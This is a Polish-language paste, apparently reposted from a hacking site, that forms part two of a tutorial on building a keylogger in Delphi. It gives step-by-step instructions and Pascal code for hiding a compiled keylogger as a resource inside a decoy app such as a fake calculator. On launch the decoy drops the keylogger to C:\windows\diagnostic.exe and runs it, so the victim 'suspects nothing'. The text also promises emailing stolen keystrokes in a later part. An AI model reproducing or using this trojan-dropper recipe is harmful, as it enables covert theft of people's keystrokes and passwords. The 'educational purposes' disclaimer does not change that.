JustPaste.it

Keylogger w delphi cz2

Artykuł napisany jedynie w celach edukacyjnych. Wszystko co zrobisz/zamieszasz zrobić bedziesz musiał wziąść na swoją odpowiedzialność.

keylogger by frodo

Witajcie, to druga cześć artykułu o tym jak zrobić keyloggera. W pierszej części napisaliśmy już dobrze działający program, teraz trzeba go udoskonalić.

1. Co zrobić, że było bezpieczniej?
Przydałoby się, żeby program 'coś robił'. Hmm..., co by tu zrobić? ;) Może taki schemat: 1. dajemy plik,
2. on odpala, i widzi jakieś tam okienka/gierkę/inny shit,
3. on nie widzi, że w tym czasie uruchamia się właściwy plik (keylogger) i zapisuje się w C:windowsdiagnostic.exe,
4. nic nie podejrzewa, a keylogger działa.
Co zrobić, żeby to tak wyszło? Dodajemy naszego keyloggera do zasobów. A jak to zrobić to zaraz wyjaśnię.

2. Zasoby, zasoby.
Teraz ładnie kompilujemy naszego keyloggera i kopiujemy go sobie zaużmy na c:. Teraz w katalogu z delphi szukamy pliczku, o wdzięcznej nazwie brcc32.exe. Tego też kopiujemy na c: . Ok, mamy prawie wszystko. Teraz na c: tworzymy nowy pliczek o nazwie abc.rc . Otwieramy go notepadem i piszemy:
PROGRAM RCDATA "keylogger.exe"

Gdzie keylogger.exe oznacza, nazwę naszego pliku z keyloggerem, który mamy na c: . Ok, teraz uruchamiamy sobie DOS'a. Przechodzimy na c: (jeśli ktoś nie pamięta jak się opuszcza katalog do nadrzędnego, to przyponę iż uzywamy komendy "cd.." ;)). Jesteśmy na c: i piszemy:
brcc32.exe abc.rc

Ok, teraz możemy zamknąć DOS'a. Pojawił się plik z zasobem (project.res). Zostawiamy go na razie w sopkoju, bo właśnie utworzyliśmy plik z zasobem, w którym jest zapisany nasz program (keylogger.exe). Jeśli chcesz wiedzieć co dalej, to czytaj nastepny punkt.

3. Program nr2, czyli coś dla ofiary.
Ok, tworzymy nową aplikację w delphi. Narazie nie zajmujemy się nią, teraz przełącz się na źródło. Widzisz sekcję implementation? Pod nią jest taka linia "{$R *.dfm}". Pod nią my dodamy coś takiego:
{$R project.RES}

Jak się domyślacie dodaliśmy do tej aplikacji zasób, w którym jest nasz keylogger. Zapisz to w jakimś nowym folderze i skopiuj tam z c:, plik z zasobem (project.res). Ok, do onCreate dajemy:

var
Res : TResourceStream;
begin
Res := TResourceStream.Create(hInstance,'PROGRAM',RT_RCDATA)
Res.SaveToFile('C:windowsdiagnostic.exe');
Res.Free;
ShellExecute(Handle,'Open',PCHar('c:windowsdiagno  stic.exe'),nil,nil,
SW_SHOWNORMAL);
end;



A do sekcji uses daj ShellApi.
A teraz chwilka na omówienie powyższego fragmentu kodu. Na początek wczytujemy zasób, póżniej zapisujemy do c:windows pod nazwą diagnostic.exe (żeby z autosartem problemów niebyło, jeśli nie wiesz o co chodzi to przypomnij sobie cz 1 ;)) Dalej zwalniamy zasoby. Pozostało już tylko pierwsze uruchomienie keyloggera i end. A na formie tworzysz co chcesz np. mały kalkulatorek, żeby tylko udawało iż posiada jakąś funkcję. Ofiara musi uwierzyć, i nic nie podejrzewać.

4. Koniec?
Można juz program nazwać funkcjonalnym, ale jeszcze nie zakończonym. Pozostała jeszcze funkcja wysyłania do nas klawiszy mailem. Chciałem to dać już w drugiej części, ale moja oryginalność trochę to utrudnia, ponieważ nazwaliśmy plik losowa + key.txt. Co prawda wystarczy tylko, uzyć wyszukiwania na c: wszystko z key.txt, sprawdzić daty modyfikacji i wysłać naj nowszy. Wszystko to dać w onCreate i przy będzie spox. Ale raczej lepiej dodać , sprawdzanie czy jest online, jeśli tak to wtedy ma wysyłać. Jeśli ktoś wie jak to samemu napisać, to może wyprzedzić kurs, ale ja opiszę to w cześci trzeciej. Zastanowię się jeszcze nad komponentem od maili (bo outlookiem wysyłac nie będziemy ;)), ale pewnie padnie na indy
9. Dzięki, za zainteresowanie. I czekajcie na kolejną część. Soon in cinemas ;)

 

Źródło: HackingPlanet.org. Treść udostępniona na zasadach licencji Creative Commons Attribution

 

Autor: Dominium

Licencja: Creative Commons